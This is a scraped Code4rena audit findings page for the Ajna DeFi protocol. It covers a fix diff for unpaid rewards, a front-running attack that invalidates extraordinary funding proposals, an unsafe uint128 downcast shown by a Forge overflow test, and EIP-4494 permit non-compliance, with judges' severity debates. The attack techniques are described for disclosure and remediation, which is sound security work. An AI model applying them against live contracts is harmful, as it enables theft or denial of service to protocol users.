diff --git a/ajna-core/src/RewardsManager.sol b/ajna-core/src/RewardsManager.sol index 314b476..b89473a 100644 --- a/ajna-core/src/RewardsManager.sol +++ b/ajna-core/src/RewardsManager.sol @@ -73,6 +73,8 @@ contract RewardsManager is IRewardsManager, ReentrancyGuard { /// @dev `epoch => update bucket rate rewards claimed` mapping. mapping(uint256 => uint256) public override updateRewardsClaimed; + mapping(address => uint256) public unpaidRewards; + /// @dev Mapping of per pool bucket exchange rates at a given burn event `poolAddress => bucketIndex => epoch => bucket exchange rate`. mapping(address => mapping(uint256 => mapping(uint256 => uint256))) internal bucketExchangeRates; @@ -302,12 +304,26 @@ contract RewardsManager is IRewardsManager, ReentrancyGuard { IERC721(address(positionManager)).transferFrom(address(this), msg.sender, tokenId_); } + function claimUnpaidRewards() external { + uint256 unpaidBalance = unpaidRewards[msg.sender]; + uint256 ajnaBalance = IERC20(ajnaToken).balanceOf(address(this)); + + if (unpaidBalance > ajnaBalance) { + unpaidBalance = ajnaBalance; + } + + unpaidRewards[msg.sender] -= unpaidBalance; + if (unpaidBalance != 0) { + IERC20(ajnaToken).safeTransfer(msg.sender, unpaidBalance); + } + } + } @@ -812,7 +828,10 @@ contract RewardsManager is IRewardsManager, ReentrancyGuard { // check that rewards earned isn't greater than remaining balance // if remaining balance is greater, set to remaining balance uint256 ajnaBalance = IERC20(ajnaToken).balanceOf(address(this)); - if (rewardsEarned_ > ajnaBalance) rewardsEarned_ = ajnaBalance; + if (rewardsEarned_ > ajnaBalance) { + unpaidRewards[msg.sender] += rewardsEarned_ - ajnaBalance; + rewardsEarned_ = ajnaBalance; + }
Other
#0 - c4-judge
2023-05-12T10:34:25Z
Picodes marked the issue as duplicate of #361
#1 - c4-judge
2023-05-29T20:55:44Z
Picodes changed the severity to 3 (High Risk)
#2 - c4-judge
2023-05-29T20:57:14Z
Picodes marked the issue as satisfactory
422.7749 USDC - $422.77
https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-grants/src/grants/base/ExtraordinaryFunding.sol#L85 https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-grants/src/grants/base/ExtraordinaryFunding.sol#L92 https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-grants/src/grants/base/ExtraordinaryFunding.sol#L100
An attacker can prevent the creation of proposals in ExtraordinaryFunding.sol#proposeExtraordinary
by front-running the proposal, which will give him the same hash as the correct user desired, and setting endBlock_
to the past, which will invalidate the proposal.
This is possible because:
File: ajna-grants\src\grants\base\ExtraordinaryFunding.sol 85: function proposeExtraordinary( 86: uint256 endBlock_, 87: address[] memory targets_, 88: uint256[] memory values_, 89: bytes[] memory calldatas_, 90: string memory description_) external override returns (uint256 proposalId_) { 91: 92: proposalId_ = _hashProposal(targets_, values_, calldatas_, keccak256(abi.encode(DESCRIPTION_PREFIX_HASH_EXTRAORDINARY, keccak256(bytes(description_))))); // Miss information about creator
endBlock_
it is possible to put it in the past to make it invalid:99: // check proposal length is within limits of 1 month maximum 100: if (block.number + MAX_EFM_PROPOSAL_LENGTH < endBlock_) revert InvalidProposal(); 101: 102: uint128 totalTokensRequested = _validateCallDatas(targets_, values_, calldatas_); 103:
endBlock_
to the pastendBlock_
File: ajna-grants\src\grants\base\ExtraordinaryFunding.sol 139: if (proposal.startBlock > block.number || proposal.endBlock < block.number || proposal.executed) { 140: revert ExtraordinaryFundingProposalInactive(); 141: }
The attacker for small funds (transaction fee) prohibits creating new proposals
_hashProposal
DoS
#0 - c4-sponsor
2023-05-21T15:34:45Z
ith-harvey marked the issue as sponsor confirmed
#1 - ith-harvey
2023-05-21T15:34:55Z
Valid bug but we are removing the EFM.
#2 - c4-judge
2023-05-30T20:36:14Z
Picodes marked the issue as satisfactory
#3 - c4-judge
2023-05-30T22:39:12Z
Picodes marked the issue as duplicate of #260
๐ Selected for report: Haipls
1221.3498 USDC - $1,221.35
https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/RewardsManager.sol#L179 https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/RewardsManager.sol#L180 https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/RewardsManager.sol#L236 https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/RewardsManager.sol#L241
Unsafe casting from uint256
to uint128
in RewardsManager, instances:
File: 2023-05-ajna\ajna-core\src\RewardsManager.sol 178: BucketState storage toBucket = stakeInfo.snapshot[toIndex]; +179: toBucket.lpsAtStakeTime = uint128(positionManager.getLP(tokenId_, toIndex)); +180: toBucket.rateAtStakeTime = uint128(IPool(ajnaPool).bucketExchangeRate(toIndex)); 181: 235: // record the number of lps in bucket at the time of staking +236: bucketState.lpsAtStakeTime = uint128(positionManager.getLP( 237: tokenId_, 238: bucketId 239: )); 240: // record the bucket exchange rate at the time of staking +241: bucketState.rateAtStakeTime = uint128(IPool(ajnaPool).bucketExchangeRate(bucketId));
can cause an overflow which, in turn, can lead to unforeseen consequences such as:
nextExchangeRate > exchangeRate_
will always be true after the overflow.toBucket.lpsAtStakeTime
will be reduced.toBucket.rateAtStakeTime
will be reduced.bucketState.rateAtStakeTime
overflows first but does not go beyond the limits in the new epoch, it will result in increased rewards being accrued.In RewardsManager.stake()
and RewardsManager.moveStakedLiquidity()
, the functions downcast uint256
to uint128
without checking whether it is bigger than uint128
or not.
In stake()
& moveStakedLiquidity()
when getLP >= type(uint128).max
:
File: 2023-05-ajna\ajna-core\src\RewardsManager.sol 236: bucketState.lpsAtStakeTime = uint128(positionManager.getLP( 237: tokenId_, 238: bucketId 239: ));
Let's assume, that the staker had LP in the bucket equal type(uint128).max
, and his stake balance LP was recorded as 0. As a result, the reward for the epoch at the moment of the stake will be accrued as
File: 2023-05-ajna\ajna-core\src\RewardsManager.sol 504: interestEarned_ = Maths.wmul(nextExchangeRate - exchangeRate_, bucketLP_); 2023-05-ajna\ajna-core\src\libraries\internal\Maths.sol 11: uint256 internal constant WAD = 1e18; 12: 13: function wmul(uint256 x, uint256 y) internal pure returns (uint256) { 14: return (x * y + WAD / 2) / WAD; 15: }
And will be equal to (0 + 0.5e18)/1e18=0, resulting in the user losing the reward.
In stake() & moveStakedLiquidity()
when bucketExchangeRate >= type(uint128).max
:
If an overflow occurs and bucketExchangeRate
is reset to zero:
File: 2023-05-ajna\ajna-core\src\RewardsManager.sol 180: toBucket.rateAtStakeTime = uint128(IPool(ajnaPool).bucketExchangeRate(toIndex)); 241: bucketState.rateAtStakeTime = uint128(IPool(ajnaPool).bucketExchangeRate(bucketId));
Results in the reward being skipped for one 1 epoch, because:
File: ajna-core\src\RewardsManager.sol 497: uint256 nextExchangeRate = bucketExchangeRates[pool_][bucketIndex_][nextEventEpoch_]; 498: 499: // calculate interest earned only if next exchange rate is higher than current exchange rate 500: if (nextExchangeRate > exchangeRate_) { 501: 502: // calculate the equivalent amount of quote tokens given the stakes lp balance, 503: // and the exchange rate at the next and current burn events 504: interestEarned_ = Maths.wmul(nextExchangeRate - exchangeRate_, bucketLP_); 505: }
The current rate will be equal to 0 or greater than 0, but less than the previous rate.
Also, if the next epoch has a rate less than type(uint128).max
, this will result in interestEarned_ = Maths.wmul(nextExchangeRate - exchangeRate_, bucketLP_);
, where nextExchangeRate - exchangeRate_
will be in the range of 2^128 - 1 - {0, N^18}
. This can lead to an overflow error when bucketLP_
is large (1e45)
, because (2^128-1) * 1e38
, which in turn can cause the transaction to fail.
File: ajna-core\src\libraries\internal\Maths.sol 13: function wmul(uint256 x, uint256 y) internal pure returns (uint256) { 14: return (x * y + WAD / 2) / WAD; 15: }
Yes, in the case of LP, the number of tokens approaching 2^128
is highly unlikely and does not pose a direct threat to the user, except for not receiving the reward. But as for the bucketExchangeRate, since it is calculated according to different formulas, it cannot be ruled out that such a case is more likely
Tests for LP, which simply shows that overflow occurs:
diff --git a/ajna-core/tests/forge/unit/Rewards/RewardsManager.t.sol b/ajna-core/tests/forge/unit/Rewards/RewardsManager.t.sol index 4100e9f..58c3d8c 100644 --- a/ajna-core/tests/forge/unit/Rewards/RewardsManager.t.sol +++ b/ajna-core/tests/forge/unit/Rewards/RewardsManager.t.sol @@ -8,7 +8,7 @@ import 'src/interfaces/rewards/IRewardsManager.sol'; import { ERC20Pool } from 'src/ERC20Pool.sol'; import { RewardsHelperContract } from './RewardsDSTestPlus.sol'; - +import '@std/console2.sol'; contract RewardsManagerTest is RewardsHelperContract { address internal _borrower; @@ -127,6 +127,33 @@ contract RewardsManagerTest is RewardsHelperContract { }); } + function test_Issue() external { + // configure NFT position one + uint256[] memory depositIndexes = new uint256[](1); + depositIndexes[0] = 9; + uint256 mintAmount = uint256(type(uint128).max) + 1; + uint256 tokenIdOne = _mintAndMemorializePositionNFT({ + indexes: depositIndexes, + minter: _minterOne, + mintAmount: mintAmount, + pool: address(_pool) + }); + uint256 lpBalance; + (lpBalance, ) =_pool.lenderInfo(depositIndexes[0], address(_positionManager)); + console2.log("_pool.lenderInfo for _positionManager before stake", lpBalance); + + // minterOne deposits their NFT into the rewards contract + _stakeToken({ + pool: address(_pool), + owner: _minterOne, + tokenId: tokenIdOne + }); + uint256 lpsAtStakeTime; + uint256 rateAtStakeTime; + (lpsAtStakeTime, rateAtStakeTime) = _rewardsManager.getBucketStateStakeInfo(tokenIdOne, depositIndexes[0]); + console2.log("getBucketStateStakeInfo.lpsAtStakeTime after stake", lpsAtStakeTime); + } +
Under/Overflow
#0 - c4-judge
2023-05-18T17:44:49Z
Picodes marked the issue as primary issue
#1 - c4-sponsor
2023-05-19T19:07:36Z
MikeHathaway marked the issue as sponsor confirmed
#2 - Picodes
2023-05-31T13:28:10Z
Valid for the case of bucketExchangeRate
#3 - c4-judge
2023-05-31T13:28:14Z
Picodes marked the issue as satisfactory
#4 - c4-judge
2023-05-31T13:28:18Z
Picodes marked the issue as selected for report
๐ Selected for report: Haipls
1221.3498 USDC - $1,221.35
https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/PositionManager.sol#L42 https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/base/PermitERC721.sol#L77 https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/base/PermitERC721.sol#L13 https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/PositionManager.sol#L57
The contract PositionManager.sol
inherits from PermitERC721.sol
, but both contracts incorrectly implement the EIP-4494
standard, which is an important part of the contract. This leads to the following issues:
PositionManager
& PermitERC721
are not EIP-4494
compliantpermit
for ERC721
EIP-4494
nonces
are currently relevant, leading to the creation of invalid signatures/signatures for the futureAccording to the specifications of the standard EIP-4494, the following violations were found:
EIP-4494
requires the implementation of IERC165
and the indication of support for the interface 0x5604e225
, which is not implemented
EIP-4494
requires the presence of the function function nonces(uint256 tokenId) external view returns(uint256);
which is missing
EIP-4494
requires the function function permit(address spender, uint256 tokenId, uint256 deadline, bytes memory sig) external;
, which is incorrectly declared as
File: 2023-05-ajna\ajna-core\src\base\PermitERC721.sol 77: function permit( 78: address spender_, uint256 tokenId_, uint256 deadline_, uint8 v_, bytes32 r_, bytes32 s_ 79: ) external {
Other
#0 - c4-sponsor
2023-05-19T18:45:38Z
MikeHathaway marked the issue as sponsor confirmed
#1 - c4-judge
2023-05-31T13:42:59Z
Picodes changed the severity to QA (Quality Assurance)
#2 - Picodes
2023-05-31T13:43:26Z
Downgrading to Low as part of this is out of scope here, and the rest can be considered an instance of "function incorrect as to spec"
#3 - BhHaipls
2023-05-31T19:32:11Z
Hi, @Picodes
The ajna-core/src/base/PermitERC721.sol
is indeed out of scope, which subsequently makes points 1
and 3
out of scope as well. However, I'd like you to take another look at point 2
.
EIP-4494 necessitates the inclusion of the function:
function nonces(uint256 tokenId) external view returns(uint256);
which is currently absent.
We can see that PermitERC721
is an abstract contract which only partially implements EIP-4494, and it does so incorrectly, thereby making this part out of scope. However, it also imposes a requirement (abstract contract with abstract _getAndIncrementNonce() method) on PositionManager
to implement nonces
method on its end, which is within scope. This conclusion can be drawn from the following method:
File: ajna-core/src/base/PermitERC721.sol 29: /** @dev Gets the current nonce for a token ID and then increments it, returning the original value */ 30: function _getAndIncrementNonce(uint256 tokenId_) internal virtual returns (uint256);
This suggests that the nonces
method must be implemented in PositionManager
, PermitERC721 transfers this responsibility to descendants. And according to point 2, PositionManager
is the final contract that violates the EIP-4494
standard, which is indeed within scope. According to EIP-4494 documentation, the nonces
declaration is stated under Three new functions MUST be added to ERC-721:, which, in my opinion, can't be simply dismissed as function incorrect as to spec
. According to the practice I've observed, any violation of the standard with MUST label
is usually rated as Medium
.
Examples:
Thank you
#4 - c4-judge
2023-06-04T20:27:32Z
This previously downgraded issue has been upgraded by Picodes
#5 - c4-judge
2023-06-04T20:27:32Z
This previously downgraded issue has been upgraded by Picodes
#6 - c4-judge
2023-06-04T20:29:47Z
Picodes marked the issue as satisfactory
#7 - Picodes
2023-06-04T20:32:10Z
@BhHaipls your point is valid: PositionManager
should implement nonces
. I was reluctant to give this Medium severity as there are issues in PermitERC721
so the contract couldn't implement the EIP anyway, but after reflection and discussing it with an other judge the problem is significant enough to justify Medium severity
#8 - bytes032
2023-06-05T02:37:42Z
Hey @Picodes,
I would like to address the validity of the issue raised in the following link: https://github.com/code-423n4/2023-05-ajna-findings/issues/145.
Considering the usage of nonces, which are also employed in the 'permit' functionality, I believe that this issue should be deemed valid. This is particularly relevant because the '_getAndIncrementNonce' function is directly utilized within the 'permit' feature.
It is important to note that PermitERC721 serves as an abstract contract, possessing a critical vulnerability that places an obligation on the PositionManager to implement this vulnerability in its own implementation.
Given that the 'PositionManager' contract does not override the aforementioned function, I contend that it is reasonable to make the same assumption as you did when evaluating this issue. This aligns with the understanding that PermitERC721 shifts the responsibility to its descendants.
Finally, this means permit is a public function that can and will be used by Ajna users who interact with the PositionManager contract, which is in scope.
Thank you for your attention to this matter.
Edit: Here are a few similar issues that have been judged similarly:
That being said, I believe #145 should be downgraded to Medium, given the circumstances.
#9 - Picodes
2023-06-05T06:33:44Z
@bytes032 I am not sure I understand your argument. How is the signature malleability of PermitERC721
an issue that should have been fixed on PositionManager
?
The fact that the final in-scope contract is flawed because of an error in an out-of-scope contract it inherits still makes the error out-of-scope. Otherwise, every dependency would be automatically in-scope?
For nonces
, the difference is that as the nonces mapping is in PositionManager
, implementing the function was a clear responsibility of PositionManager